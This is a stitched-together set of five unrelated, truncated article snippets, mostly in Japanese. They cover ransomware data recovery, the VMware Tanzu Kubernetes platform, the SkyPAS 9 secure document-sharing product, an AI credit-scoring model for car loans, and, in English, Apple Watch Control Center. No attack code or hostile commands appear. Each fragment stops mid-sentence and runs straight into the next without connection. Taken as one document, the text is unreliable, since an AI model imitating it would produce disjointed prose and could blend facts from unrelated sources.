ご存じでしたか？ Sophosがまとめたランサムウェアの現状の調査によると、ランサムウェア攻撃の間に復旧されるデータの割合は、65%しかないそうです。今日は、ランサムウェアからの復旧について非常によく聞かれる質問と、ランサムウェアの攻撃を受ける前に知っておいたほうがよいことについて、詳しく説明したいと思います。 ランサムウェアからの復旧とは何ですか？ ランサムウェアからのデータ復旧とは、ランサムウェア攻撃を受けた後でITシステムをオンラインに戻すために行なう作業のことです。復旧は必ずしも複雑な作業ではありません。既に用意しているディザスターリカバリー計画がきちんと文書化されていて、しっかりと（かつ最近）テストされているのであれば、既存のディザスターリカバリー・プロセスの多くを利用することができます。 データ保護の領域で大きな注目を集めているのは復元、特にバックアップからの暗号化されたVMの

ヴイエムウェアが提示するマルチクラウド時代のコンテナプラットフォーム「VMware Tanzu for Kubernetes Operations」 IT環境のマルチクラウド化が進むこれからの時代、コンテナ技術を使って迅速なサービス提供と効率的なオペレーションを両立していくために、企業は自らのアプリケーションプラットフォームを持たなければならない。それを実現するヴイエムウェアのKubernetesディストリビューションが「VMware Tanzu for Kubernetes Operations」だ。ベンダー各社のクラウドをまたいだコンテナ環境を実現し、Kubernetesに不足するプラットフォーム機能を提供する同ソリューションの特長と活用メリットを紹介する。 いま必要なのは変化への俊敏な対応を支えるアプリケーションプラットフォーム コロナ禍において多くの組織がデジタル変革を加速させてい

ASCII STARTUP ドキュメント共有を安全かつスムーズに推進する、オンプレミス型のセキュア・ドキュメントシステム「SkyPAS 9」をリリース 株式会社スカイコム ～「監査証跡オプション」などを追加して業務に応じた拡張が可能～ 株式会社スカイコム（本社：東京都千代田区、代表取締役社長：川橋 郁夫）は、マルチデバイス対応のオンプレミス型セキュア・ドキュメント共有システム「SkyPAS 9」を2022年5月9日より販売開始いたします。 本製品は、2013年より展開しているセキュア・ドキュメント共有サービス「SkyPAS クラウド」をベースに開発されたもので、ドキュメントを効率的に蓄積、一元管理し、組織や権限に応じたアクセス制御や、ポリシーに則した各種セキュリティ設定により、ファイル共有を安全かつスムーズに推進します。 「SkyPAS 9」は、ドキュメントを効率的に蓄積、一元管理し、組織

印刷する メールで送る テキスト HTML 電子書籍 PDF ダウンロード テキスト 電子書籍 PDF クリップした記事をMyページから読むことができます 三井住友海上火災保険（三井住友海上）とセカンドサイトアナリティカ（セカンドサイト）は、人工知能（AI）を活用した自動車ローン／リース分野において、個人の信用力を評価するスコアリングサービス「個人向け自動車ローン等の審査モデル」を構築した。 今後はサービスの導入に向けて、Global Mobility Service（GMS）や自動車販売事業者とも連携し、審査モデルの実証を行う。 今回構築したモデルは、三井住友海上に加え、金融機関のAIを活用した与信審査モデル構築に強みを持つセカンドサイト、自動車販売事業者と自動車の遠隔起動制御装置を取り扱うGMSが保有するデータを活用し、デフォルト予測や最適な貸付額算出など、ファイナンスの与信を評価する

The Apple Watch Control Center gives you quick access to a number of different features. We’ll take a closer look at what you can do. On the Apple Watch, you’ll obviously be spending the most time with your chosen watch face on the screen. But to take advantage of all the many features of the watch, you’ll also need to be familiar with Control Center. We’re taking a closer look at the Apple Watch